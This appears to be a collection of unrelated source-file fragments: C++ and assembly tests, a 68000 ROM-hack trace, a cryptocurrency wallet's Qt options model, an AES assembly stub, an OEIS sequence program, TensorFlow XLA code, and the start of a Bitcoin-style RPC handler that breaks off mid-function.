RunOperators(values[i] + values[j], values[i] - values[j]);
RunOperators(values[i] - values[j], values[i] + values[j]);
RunOperators(values[i] - values[j], values[i] - values[j]);
}
}
}
BOOST_AUTO_TEST_SUITE_END()
|
;===============================================================================
; class LabelResolverTest
;===============================================================================
bits 16
org 32768
start:
; ----------------------------------------------------------------------
mov si, msg.testLabel
call printString
mov si, msg.sep
call printString
; ----------------------------------------------------------------------
; ax = pointer to label string
; dx = address (offset) of label (org)
; bx = address where value must be corrected
; cl = LabelResolver.TYPE_XX
mov ax, labelName
mov dx, [labelOffset]
mov bx, 1111
mov cl, LabelResolver.TYPE_RB
call LabelResolver.add
mov si, labelName
call printString
mov si, [LabelResolver.startMemoryAddress]
call printString
mov bx, [LabelResolver.startMemoryAddress]
mov ax, [bx+14]
call os_int_to_string
mov si, ax
call printString
mov ax, [bx+16]
call os_int_to_string
mov si, ax
call printString
mov ah, 0
mov al, [bx+18]
call os_int_to_string
mov si, ax
call printString
mov si, msg.sep
call printString
; ----------------------------------------------------------------------
mov ax, labelName2
mov dx, [labelOffset2]
mov bx, 2222
mov cl, LabelResolver.TYPE_IB
call LabelResolver.add
mov si, labelName
call printString
mov si, [LabelResolver.startMemoryAddress]
add si, 32
call printString
mov bx, [LabelResolver.startMemoryAddress]
mov ax, [bx+14+32]
call os_int_to_string
mov si, ax
call printString
mov ax, [bx+16+32]
call os_int_to_string
mov si, ax
call printString
mov ah, 0
mov al, [bx+18+32]
call os_int_to_string
mov si, ax
call printString
mov si, msg.sep
call printString
; ----------------------------------------------------------------------
mov ax, labelName3
mov dx, [labelOffset3]
mov bx, 333
mov cl, LabelResolver.TYPE_IW
call LabelResolver.add
mov si, labelName
call printString
mov si, [LabelResolver.startMemoryAddress]
add si, 64
call printString
mov bx, [LabelResolver.startMemoryAddress]
mov ax, [bx+14+64]
call os_int_to_string
mov si, ax
call printString
mov ax, [bx+16+64]
call os_int_to_string
mov si, ax
call printString
mov ah, 0
mov al, [bx+18+64]
call os_int_to_string
mov si, ax
call printString
mov si, msg.sep
call printString
; ----------------------------------------------------------------------
; ret dx = address (offset) of label (org)
; bx = address where value must be corrected
; cl = LabelResolver.TYPE_XX
; si = 0 - label not found !
; 1 - ok
mov ax, labelToSearch
call LabelResolver.getOffset ; return offset of label in DX
cmp si, 1
jne .notFound
.found:
mov si, msg.found
call printString
mov si, msg.dxEqual
call printString
mov ax, dx
call os_int_to_string
mov si, ax
call printString
mov si, msg.bxEqual
call printString
mov ax, Bx
call os_int_to_string
mov si, ax
call printString
mov si, msg.clEqual
call printString
mov ch, 0
mov ax, cx
call os_int_to_string
mov si, ax
call printString
jmp .end
.notFound:
mov si, msg.notFound
call printString
jmp .end
; ----------------------------------------------------------------------
.end:
mov si, msg.sep
call printString
ret
; ----------------------------------------------------------------------
printString:
call os_print_string
call os_print_newline
; call os_wait_for_key
ret
; ----------------------------------------------------------------------
%include "../../include/mikedev.inc"
%include "../../include/LabelResolver.inc"
msg.sep db "------------------------", 0
msg.testLabel db "Test label resolver", 0
msg.found db "Found !", 0
msg.notFound db "Not found !", 0
msg.dxEqual db "DX=", 0
msg.bxEqual db "BX=", 0
msg.clEqual db "CL=", 0
labelName db "myLabel", 0
labelOffset dw 1234
labelName2 db "abc", 0
labelOffset2 dw 5678
labelName3 db "l234567890123", 0
labelOffset3 dw 33333
labelToSearch db "l234567890123", 0
;===============================================================================
|
#include "tile.h"
Tile::Tile() {}
Tile::~Tile() {}
void Tile::setValue(int v) {
value = v;
}
|
copyright zengfr site:http://github.com/zengfr/romhack
00042A move.l D1, (A0)+
00042C dbra D0, $42a
004D94 move.l D1, (A1)+
004D96 dbra D0, $4d94
0107AA move.b ($5a,A2), ($5a,A3) [123p+ 78]
0107B0 move.b (A4)+, D0
010F30 move.b ($5a,A2), ($5a,A3) [123p+ 78]
010F36 move.b (A4)+, D0
0116F2 move.b ($5a,A2), ($5a,A3) [123p+ 78]
0116F8 move.b (A4)+, D0 [123p+ 5A]
011E0A move.b ($5a,A2), ($5a,A3) [123p+ 78]
011E10 move.b (A4)+, D0
01264E clr.b ($5a,A3) [123p+ 78]
012652 move.b (A4)+, D0
01C09A tst.b ($5a,A6)
01C09E bne $1c19c [123p+ 5A]
01C15C tst.b ($5a,A6)
01C160 bne $1c37c [123p+ 5A]
01C960 tst.b ($5a,A6)
01C964 bne $1c19c
01CB9C tst.b ($5a,A6)
01CBA0 bne $1cbe6 [123p+ 5A]
01CDC2 clr.b ($5a,A6) [123p+ F6]
01CDC6 move.b #$a, ($78,A6) [123p+ 5A]
01D32A tst.b ($5a,A6)
01D32E bne $1d380
0AAACA move.l (A0), D2
0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAACE move.w D0, ($2,A0)
0AAAD2 cmp.l (A0), D0
0AAAD4 bne $aaafc
0AAAD8 move.l D2, (A0)+
0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAE6 move.l (A0), D2
0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAF4 move.l D2, (A0)+
0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, enemy+DE, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
copyright zengfr site:http://github.com/zengfr/romhack
|
// Copyright (c) 2011-2014 The Bitcoin developers
// Copyright (c) 2014-2015 The Dash developers
// Copyright (c) 2015-2019 The PIVX developers
// Distributed under the MIT/X11 software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#if defined(HAVE_CONFIG_H)
#include "config/epgc-config.h"
#endif
#include "optionsmodel.h"
#include "bitcoinunits.h"
#include "guiutil.h"
#include "amount.h"
#include "init.h"
#include "main.h"
#include "net.h"
#include "txdb.h" // for -dbcache defaults
#include "util.h"
#ifdef ENABLE_WALLET
#include "masternodeconfig.h"
#include "wallet/wallet.h"
#include "wallet/walletdb.h"
#endif
#include <QNetworkProxy>
#include <QStringList>
OptionsModel::OptionsModel(QObject* parent) : QAbstractListModel(parent)
{
Init();
}
void OptionsModel::addOverriddenOption(const std::string& option)
{
strOverriddenByCommandLine += QString::fromStdString(option) + "=" + QString::fromStdString(mapArgs[option]) + " ";
}
// Writes all missing QSettings with their default values
void OptionsModel::Init()
{
resetSettings = false;
QSettings settings;
// Ensure restart flag is unset on client startup
setRestartRequired(false);
// These are Qt-only settings:
// Window
setWindowDefaultOptions(settings);
// Display
if (!settings.contains("fHideZeroBalances"))
settings.setValue("fHideZeroBalances", true);
fHideZeroBalances = settings.value("fHideZeroBalances").toBool();
if (!settings.contains("fHideOrphans"))
settings.setValue("fHideOrphans", true);
fHideOrphans = settings.value("fHideOrphans").toBool();
if (!settings.contains("fCoinControlFeatures"))
settings.setValue("fCoinControlFeatures", false);
fCoinControlFeatures = settings.value("fCoinControlFeatures", false).toBool();
if (!settings.contains("fShowColdStakingScreen"))
settings.setValue("fShowColdStakingScreen", false);
showColdStakingScreen = settings.value("fShowColdStakingScreen", false).toBool();
if (!settings.contains("fZeromintEnable"))
settings.setValue("fZeromintEnable", true);
fEnableZeromint = settings.value("fZeromintEnable").toBool();
if (!settings.contains("fEnableAutoConvert"))
settings.setValue("fEnableAutoConvert", true);
fEnableAutoConvert = settings.value("fEnableAutoConvert").toBool();
if (!settings.contains("nZeromintPercentage"))
settings.setValue("nZeromintPercentage", 10);
nZeromintPercentage = settings.value("nZeromintPercentage").toLongLong();
if (!settings.contains("nPreferredDenom"))
settings.setValue("nPreferredDenom", 0);
nPreferredDenom = settings.value("nPreferredDenom", "0").toLongLong();
if (!settings.contains("fShowMasternodesTab"))
settings.setValue("fShowMasternodesTab", masternodeConfig.getCount());
// Main
setMainDefaultOptions(settings);
// Wallet
#ifdef ENABLE_WALLET
setWalletDefaultOptions(settings);
#endif
// Network
setNetworkDefaultOptions(settings);
// Display
setDisplayDefaultOptions(settings);
language = settings.value("language").toString();
}
void OptionsModel::refreshDataView(){
emit dataChanged(index(0), index(rowCount(QModelIndex()) - 1));
}
void OptionsModel::setMainDefaultOptions(QSettings& settings, bool reset){
// These are shared with the core or have a command-line parameter
// and we want command-line parameters to overwrite the GUI settings.
//
// If setting doesn't exist create it with defaults.
//
// If SoftSetArg() or SoftSetBoolArg() return false we were overridden
// by command-line and show this in the UI.
// Main
if (!settings.contains("nDatabaseCache") || reset)
settings.setValue("nDatabaseCache", (qint64)nDefaultDbCache);
if (!SoftSetArg("-dbcache", settings.value("nDatabaseCache").toString().toStdString()))
addOverriddenOption("-dbcache");
if (!settings.contains("nThreadsScriptVerif") || reset)
settings.setValue("nThreadsScriptVerif", DEFAULT_SCRIPTCHECK_THREADS);
if (!SoftSetArg("-par", settings.value("nThreadsScriptVerif").toString().toStdString()))
addOverriddenOption("-par");
if(reset){
refreshDataView();
}
}
void OptionsModel::setWalletDefaultOptions(QSettings& settings, bool reset){
if (!settings.contains("bSpendZeroConfChange") || reset)
settings.setValue("bSpendZeroConfChange", false);
if (!SoftSetBoolArg("-spendzeroconfchange", settings.value("bSpendZeroConfChange").toBool()))
addOverriddenOption("-spendzeroconfchange");
if (!settings.contains("nStakeSplitThreshold") || reset)
settings.setValue("nStakeSplitThreshold", CWallet::STAKE_SPLIT_THRESHOLD);
if (reset){
setStakeSplitThreshold(CWallet::STAKE_SPLIT_THRESHOLD);
refreshDataView();
}
}
void OptionsModel::setNetworkDefaultOptions(QSettings& settings, bool reset){
if (!settings.contains("fUseUPnP") || reset)
settings.setValue("fUseUPnP", DEFAULT_UPNP);
if (!SoftSetBoolArg("-upnp", settings.value("fUseUPnP").toBool()))
addOverriddenOption("-upnp");
if (!settings.contains("fListen") || reset)
settings.setValue("fListen", DEFAULT_LISTEN);
if (!SoftSetBoolArg("-listen", settings.value("fListen").toBool()))
addOverriddenOption("-listen");
if (!settings.contains("fUseProxy") || reset)
settings.setValue("fUseProxy", false);
if (!settings.contains("addrProxy") || reset)
settings.setValue("addrProxy", "127.0.0.1:9050");
// Only try to set -proxy, if user has enabled fUseProxy
if (settings.value("fUseProxy").toBool() && !SoftSetArg("-proxy", settings.value("addrProxy").toString().toStdString()))
addOverriddenOption("-proxy");
else if (!settings.value("fUseProxy").toBool() && !GetArg("-proxy", "").empty())
addOverriddenOption("-proxy");
if(reset){
refreshDataView();
}
}
void OptionsModel::setWindowDefaultOptions(QSettings& settings, bool reset){
if (!settings.contains("fMinimizeToTray") || reset)
settings.setValue("fMinimizeToTray", false);
fMinimizeToTray = settings.value("fMinimizeToTray").toBool();
if (!settings.contains("fMinimizeOnClose") || reset)
settings.setValue("fMinimizeOnClose", false);
fMinimizeOnClose = settings.value("fMinimizeOnClose").toBool();
if(reset){
refreshDataView();
}
}
void OptionsModel::setDisplayDefaultOptions(QSettings& settings, bool reset){
if (!settings.contains("nDisplayUnit") || reset)
settings.setValue("nDisplayUnit", BitcoinUnits::EPG);
nDisplayUnit = settings.value("nDisplayUnit").toInt();
if (!settings.contains("digits") || reset)
settings.setValue("digits", "2");
if (!settings.contains("theme") || reset)
settings.setValue("theme", "");
if (!settings.contains("fCSSexternal") || reset)
settings.setValue("fCSSexternal", false);
if (!settings.contains("language") || reset)
settings.setValue("language", "");
if (!SoftSetArg("-lang", settings.value("language").toString().toStdString()))
addOverriddenOption("-lang");
if (settings.contains("fZeromintEnable") || reset)
SoftSetBoolArg("-enablezeromint", settings.value("fZeromintEnable").toBool());
if (settings.contains("fEnableAutoConvert") || reset)
SoftSetBoolArg("-enableautoconvertaddress", settings.value("fEnableAutoConvert").toBool());
if (settings.contains("nZeromintPercentage") || reset)
SoftSetArg("-zeromintpercentage", settings.value("nZeromintPercentage").toString().toStdString());
if (settings.contains("nPreferredDenom") || reset)
SoftSetArg("-preferredDenom", settings.value("nPreferredDenom").toString().toStdString());
if (settings.contains("nAnonymizeEpgcAmount") || reset)
SoftSetArg("-anonymizeepgcamount", settings.value("nAnonymizeEpgcAmount").toString().toStdString());
if (!settings.contains("strThirdPartyTxUrls") || reset)
settings.setValue("strThirdPartyTxUrls", "");
strThirdPartyTxUrls = settings.value("strThirdPartyTxUrls", "").toString();
if(reset){
refreshDataView();
}
}
void OptionsModel::Reset()
{
QSettings settings;
// Remove all entries from our QSettings object
settings.clear();
resetSettings = true; // Needed in epgc.cpp during shotdown to also remove the window positions
// default setting for OptionsModel::StartAtStartup - disabled
if (GUIUtil::GetStartOnSystemStartup())
GUIUtil::SetStartOnSystemStartup(false);
}
int OptionsModel::rowCount(const QModelIndex& parent) const
{
return OptionIDRowCount;
}
// read QSettings values and return them
QVariant OptionsModel::data(const QModelIndex& index, int role) const
{
if (role == Qt::EditRole) {
QSettings settings;
switch (index.row()) {
case StartAtStartup:
return GUIUtil::GetStartOnSystemStartup();
case MinimizeToTray:
return fMinimizeToTray;
case MapPortUPnP:
#ifdef USE_UPNP
return settings.value("fUseUPnP");
#else
return false;
#endif
case MinimizeOnClose:
return fMinimizeOnClose;
// default proxy
case ProxyUse:
return settings.value("fUseProxy", false);
case ProxyIP: {
// contains IP at index 0 and port at index 1
QStringList strlIpPort = settings.value("addrProxy").toString().split(":", QString::SkipEmptyParts);
return strlIpPort.at(0);
}
case ProxyPort: {
// contains IP at index 0 and port at index 1
QStringList strlIpPort = settings.value("addrProxy").toString().split(":", QString::SkipEmptyParts);
return strlIpPort.at(1);
}
#ifdef ENABLE_WALLET
case SpendZeroConfChange:
return settings.value("bSpendZeroConfChange");
case ShowMasternodesTab:
return settings.value("fShowMasternodesTab");
#endif
case StakeSplitThreshold:
if (pwalletMain)
return QVariant((int)pwalletMain->nStakeSplitThreshold);
return settings.value("nStakeSplitThreshold");
case DisplayUnit:
return nDisplayUnit;
case ThirdPartyTxUrls:
return strThirdPartyTxUrls;
case Digits:
return settings.value("digits");
case Theme:
return settings.value("theme");
case Language:
return settings.value("language");
case CoinControlFeatures:
return fCoinControlFeatures;
case ShowColdStakingScreen:
return showColdStakingScreen;
case DatabaseCache:
return settings.value("nDatabaseCache");
case ThreadsScriptVerif:
return settings.value("nThreadsScriptVerif");
case HideZeroBalances:
return settings.value("fHideZeroBalances");
case HideOrphans:
return settings.value("fHideOrphans");
case ZeromintEnable:
return QVariant(fEnableZeromint);
case ZeromintAddresses:
return QVariant(fEnableAutoConvert);
case ZeromintPercentage:
return QVariant(nZeromintPercentage);
case ZeromintPrefDenom:
return QVariant(nPreferredDenom);
case Listen:
return settings.value("fListen");
default:
return QVariant();
}
}
return QVariant();
}
// write QSettings values
bool OptionsModel::setData(const QModelIndex& index, const QVariant& value, int role)
{
bool successful = true; /* set to false on parse error */
if (role == Qt::EditRole) {
QSettings settings;
switch (index.row()) {
case StartAtStartup:
successful = GUIUtil::SetStartOnSystemStartup(value.toBool());
break;
case MinimizeToTray:
fMinimizeToTray = value.toBool();
settings.setValue("fMinimizeToTray", fMinimizeToTray);
break;
case MapPortUPnP: // core option - can be changed on-the-fly
settings.setValue("fUseUPnP", value.toBool());
MapPort(value.toBool());
break;
case MinimizeOnClose:
fMinimizeOnClose = value.toBool();
settings.setValue("fMinimizeOnClose", fMinimizeOnClose);
break;
// default proxy
case ProxyUse:
if (settings.value("fUseProxy") != value) {
settings.setValue("fUseProxy", value.toBool());
setRestartRequired(true);
}
break;
case ProxyIP: {
// contains current IP at index 0 and current port at index 1
QStringList strlIpPort = settings.value("addrProxy").toString().split(":", QString::SkipEmptyParts);
// if that key doesn't exist or has a changed IP
if (!settings.contains("addrProxy") || strlIpPort.at(0) != value.toString()) {
// construct new value from new IP and current port
QString strNewValue = value.toString() + ":" + strlIpPort.at(1);
settings.setValue("addrProxy", strNewValue);
setRestartRequired(true);
}
} break;
case ProxyPort: {
// contains current IP at index 0 and current port at index 1
QStringList strlIpPort = settings.value("addrProxy").toString().split(":", QString::SkipEmptyParts);
// if that key doesn't exist or has a changed port
if (!settings.contains("addrProxy") || strlIpPort.at(1) != value.toString()) {
// construct new value from current IP and new port
QString strNewValue = strlIpPort.at(0) + ":" + value.toString();
settings.setValue("addrProxy", strNewValue);
setRestartRequired(true);
}
} break;
#ifdef ENABLE_WALLET
case SpendZeroConfChange:
if (settings.value("bSpendZeroConfChange") != value) {
settings.setValue("bSpendZeroConfChange", value);
setRestartRequired(true);
}
break;
case ShowMasternodesTab:
if (settings.value("fShowMasternodesTab") != value) {
settings.setValue("fShowMasternodesTab", value);
setRestartRequired(true);
}
break;
#endif
case StakeSplitThreshold:
settings.setValue("nStakeSplitThreshold", value.toInt());
setStakeSplitThreshold(value.toInt());
break;
case DisplayUnit:
setDisplayUnit(value);
break;
case ThirdPartyTxUrls:
if (strThirdPartyTxUrls != value.toString()) {
strThirdPartyTxUrls = value.toString();
settings.setValue("strThirdPartyTxUrls", strThirdPartyTxUrls);
setRestartRequired(true);
}
break;
case Digits:
if (settings.value("digits") != value) {
settings.setValue("digits", value);
setRestartRequired(true);
}
break;
case Theme:
if (settings.value("theme") != value) {
settings.setValue("theme", value);
setRestartRequired(true);
}
break;
case Language:
if (settings.value("language") != value) {
settings.setValue("language", value);
setRestartRequired(true);
}
break;
case ZeromintEnable:
fEnableZeromint = value.toBool();
settings.setValue("fZeromintEnable", fEnableZeromint);
emit zeromintEnableChanged(fEnableZeromint);
break;
case ZeromintAddresses:
fEnableAutoConvert = value.toBool();
settings.setValue("fEnableAutoConvert", fEnableAutoConvert);
emit zeromintAddressesChanged(fEnableAutoConvert);
case ZeromintPercentage:
nZeromintPercentage = value.toInt();
settings.setValue("nZeromintPercentage", nZeromintPercentage);
emit zeromintPercentageChanged(nZeromintPercentage);
break;
case ZeromintPrefDenom:
nPreferredDenom = value.toInt();
settings.setValue("nPreferredDenom", nPreferredDenom);
emit preferredDenomChanged(nPreferredDenom);
break;
case HideZeroBalances:
fHideZeroBalances = value.toBool();
settings.setValue("fHideZeroBalances", fHideZeroBalances);
emit hideZeroBalancesChanged(fHideZeroBalances);
break;
case HideOrphans:
fHideOrphans = value.toBool();
settings.setValue("fHideOrphans", fHideOrphans);
emit hideOrphansChanged(fHideOrphans);
break;
case CoinControlFeatures:
fCoinControlFeatures = value.toBool();
settings.setValue("fCoinControlFeatures", fCoinControlFeatures);
emit coinControlFeaturesChanged(fCoinControlFeatures);
break;
case ShowColdStakingScreen:
this->showColdStakingScreen = value.toBool();
settings.setValue("fShowColdStakingScreen", this->showColdStakingScreen);
emit showHideColdStakingScreen(this->showColdStakingScreen);
break;
case DatabaseCache:
if (settings.value("nDatabaseCache") != value) {
settings.setValue("nDatabaseCache", value);
setRestartRequired(true);
}
break;
case ThreadsScriptVerif:
if (settings.value("nThreadsScriptVerif") != value) {
settings.setValue("nThreadsScriptVerif", value);
setRestartRequired(true);
}
break;
case Listen:
if (settings.value("fListen") != value) {
settings.setValue("fListen", value);
setRestartRequired(true);
}
break;
default:
break;
}
}
emit dataChanged(index, index);
return successful;
}
/** Updates current unit in memory, settings and emits displayUnitChanged(newUnit) signal */
void OptionsModel::setDisplayUnit(const QVariant& value)
{
if (!value.isNull()) {
QSettings settings;
nDisplayUnit = value.toInt();
settings.setValue("nDisplayUnit", nDisplayUnit);
emit displayUnitChanged(nDisplayUnit);
}
}
/* Update StakeSplitThreshold's value in wallet */
void OptionsModel::setStakeSplitThreshold(int value)
{
// XXX: maybe it's worth to wrap related stuff with WALLET_ENABLE ?
uint64_t nStakeSplitThreshold;
nStakeSplitThreshold = value;
if (pwalletMain && pwalletMain->nStakeSplitThreshold != nStakeSplitThreshold) {
CWalletDB walletdb(pwalletMain->strWalletFile);
LOCK(pwalletMain->cs_wallet);
{
pwalletMain->nStakeSplitThreshold = nStakeSplitThreshold;
if (pwalletMain->fFileBacked)
walletdb.WriteStakeSplitThreshold(nStakeSplitThreshold);
}
}
}
bool OptionsModel::getProxySettings(QNetworkProxy& proxy) const
{
// Directly query current base proxy, because
// GUI settings can be overridden with -proxy.
proxyType curProxy;
if (GetProxy(NET_IPV4, curProxy)) {
proxy.setType(QNetworkProxy::Socks5Proxy);
proxy.setHostName(QString::fromStdString(curProxy.proxy.ToStringIP()));
proxy.setPort(curProxy.proxy.GetPort());
return true;
} else
proxy.setType(QNetworkProxy::NoProxy);
return false;
}
void OptionsModel::setRestartRequired(bool fRequired)
{
QSettings settings;
return settings.setValue("fRestartRequired", fRequired);
}
bool OptionsModel::isRestartRequired()
{
QSettings settings;
return settings.value("fRestartRequired", false).toBool();
}
|
;;
;; Copyright (c) 2020-2022, Intel Corporation
;;
;; Redistribution and use in source and binary forms, with or without
;; modification, are permitted provided that the following conditions are met:
;;
;; * Redistributions of source code must retain the above copyright notice,
;; this list of conditions and the following disclaimer.
;; * Redistributions in binary form must reproduce the above copyright
;; notice, this list of conditions and the following disclaimer in the
;; documentation and/or other materials provided with the distribution.
;; * Neither the name of Intel Corporation nor the names of its contributors
;; may be used to endorse or promote products derived from this software
;; without specific prior written permission.
;;
;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE
;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
;;
;;; Routine to do 128 bit AES-CBC encryption in CBCS mode
;;; performing 1:9 crypt:skip pattern to encrypt 1 block then
;;; skip the following 9 blocks processing 4 buffers at a time.
;;; Updates In and Out pointers at the end.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; struct AES_ARGS {
;; void* in[8];
;; void* out[8];
;; UINT128* keys[8];
;; UINT128 IV[8];
;; }
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; void aes_cbcs_1_9_enc_128_x8(AES_ARGS *args, UINT64 len);
;; arg 1: ARG : addr of AES_ARGS structure
;; arg 2: LEN : len (in units of bytes)
%define FUNC aes_cbcs_1_9_enc_128_x8
%define MODE CBC
%define OFFSET 160
%define ARG_IN _aesarg_in
%define ARG_OUT _aesarg_out
%define ARG_KEYS _aesarg_keys
%define ARG_IV _aesarg_IV
%include "avx/aes128_cbc_enc_x8_avx.asm"
|
; A002058: Number of internal triangles in all triangulations of an (n+1)-gon.
; 2,14,72,330,1430,6006,24752,100776,406980,1634380,6537520,26075790,103791870,412506150,1637618400,6495886320,25751549340,102042235620,404225281200,1600944863700,6339741660252,25103519174844,99399793096352
mov $1,5
add $1,$0
add $1,$0
bin $1,$0
mul $1,2
|
/* Copyright 2017 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include "tensorflow/compiler/xla/service/cpu/parallel_loop_emitter.h"
#include "absl/strings/str_format.h"
#include "tensorflow/compiler/xla/service/llvm_ir/llvm_loop.h"
#include "tensorflow/compiler/xla/service/llvm_ir/llvm_util.h"
namespace xla {
namespace cpu {
ParallelLoopEmitter::ParallelLoopEmitter(
const llvm_ir::ElementGenerator& target_element_generator,
const llvm_ir::IrArray& target_array,
const DynamicLoopBounds* dynamic_loop_bounds, llvm::IRBuilder<>* b)
: LoopEmitter(target_element_generator, target_array, b),
dynamic_loop_bounds_(dynamic_loop_bounds) {}
std::vector<llvm_ir::IrArray::Index>
ParallelLoopEmitter::EmitIndexAndSetExitBasicBlock(absl::string_view loop_name,
llvm::Type* index_type) {
CHECK_NE(index_type, nullptr);
CHECK(!shape_.IsTuple());
CHECK(!ShapeUtil::IsScalar(shape_));
llvm_ir::ForLoopNest loop_nest(loop_name, b_);
const int64 num_dims = shape_.dimensions_size();
std::vector<llvm::Value*> array_multi_index(num_dims);
// Add loops from outer-most to inner-most dimensions.
for (int i = LayoutUtil::MinorToMajor(shape_).size() - 1; i >= 0; --i) {
const int64 dimension = LayoutUtil::Minor(shape_.layout(), i);
const int bounds_index = num_dims - 1 - i;
if (bounds_index < dynamic_loop_bounds_->size()) {
// Emit dynamic loop bounds for this dimension. Dynamic loop bounds
// are read from ir function dynamic loop bounds argument.
llvm::Value* start_index = (*dynamic_loop_bounds_)[bounds_index].first;
llvm::Value* end_index = (*dynamic_loop_bounds_)[bounds_index].second;
std::unique_ptr<llvm_ir::ForLoop> loop = loop_nest.AddLoop(
/*suffix=*/absl::StrFormat("dim.%d", dimension), start_index,
end_index);
array_multi_index[dimension] = loop->GetIndVarValue();
} else {
// Emit static loop bounds for this dimension.
std::unique_ptr<llvm_ir::ForLoop> loop = loop_nest.AddLoop(
/*start_index=*/0,
/*end_index=*/shape_.dimensions(dimension),
/*suffix=*/absl::StrFormat("dim.%d", dimension));
array_multi_index[dimension] = loop->GetIndVarValue();
}
}
// Point IR builder at inner loop BB.
llvm_ir::SetToFirstInsertPoint(loop_nest.GetInnerLoopBodyBasicBlock(), b_);
// Set exit_bb_ to the exit block of the loop nest.
exit_bb_ = loop_nest.GetOuterLoopExitBasicBlock();
CHECK(exit_bb_ != nullptr);
llvm_ir::IrArray::Index array_index(array_multi_index, shape_, index_type);
return {array_index};
}
} // namespace cpu
} // namespace xla
|
// Copyright (c) 2010 Satoshi Nakamoto
// Copyright (c) 2009-2014 The Bitcoin developers
// Distributed under the MIT/X11 software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "base58.h"
#include "init.h"
#include "main.h"
#include "net.h"
#include "netbase.h"
#include "rpcserver.h"
#include "util.h"
#ifdef ENABLE_WALLET
#include "wallet.h"
#include "walletdb.h"
#endif
#include <stdint.h>
#include <boost/assign/list_of.hpp>
#include "json/json_spirit_utils.h"
#include "json/json_spirit_value.h"
using namespace std;
using namespace boost;
using namespace boost::assign;
using namespace json_spirit;
Value getinfo(const Array& params, bool fHelp)
{
if (fHelp || params.size() != 0)
throw runtime_error(
"getinfo\n"
"Returns an object containing various state info.\n"
"\nResult:\n"
"{\n"
" \"version\": xxxxx, (numeric) the server version\n"
" \"protocolversion\": xxxxx, (numeric) the protocol version\n"
" \"walletversion\": xxxxx, (numeric) the wallet version\n"
" \"balance\": xxxxxxx, (numeric) the total bitrevshares balance of the wallet\n"
" \"blocks\": xxxxxx, (numeric) the current number of blocks processed in the server\n"
" \"timeoffset\": xxxxx, (numeric) the time offset\n"
" \"connections\": xxxxx, (numeric) the number of connections\n"
" \"proxy\": \"host:port\", (string, optional) the proxy used by the server\n"
" \"difficulty\": xxxxxx, (numeric) the current difficulty\n"
" \"testnet\": true|false, (boolean) if the server is using testnet or not\n"
" \"keypoololdest\": xxxxxx, (numeric) the timestamp (seconds since GMT epoch) of the oldest pre-generated key in the key pool\n"
" \"keypoolsize\": xxxx, (numeric) how many new keys are pre-generated\n"
" \"unlocked_until\": ttt, (numeric) the timestamp in seconds since epoch (midnight Jan 1 1970 GMT) that the wallet is unlocked for transfers, or 0 if the wallet is locked\n"
" \"paytxfee\": x.xxxx, (numeric) the transaction fee set in btc/kb\n"
" \"relayfee\": x.xxxx, (numeric) minimum relay fee for non-free transactions in btc/kb\n"
" \"errors\": \"...\" (string) any error messages\n"
"}\n"
"\nExamples:\n"
+ HelpExampleCli("getinfo", "")
+ HelpExampleRpc("getinfo", "")
);
proxyType proxy;
GetProxy(NET_IPV4, proxy);
Object obj;
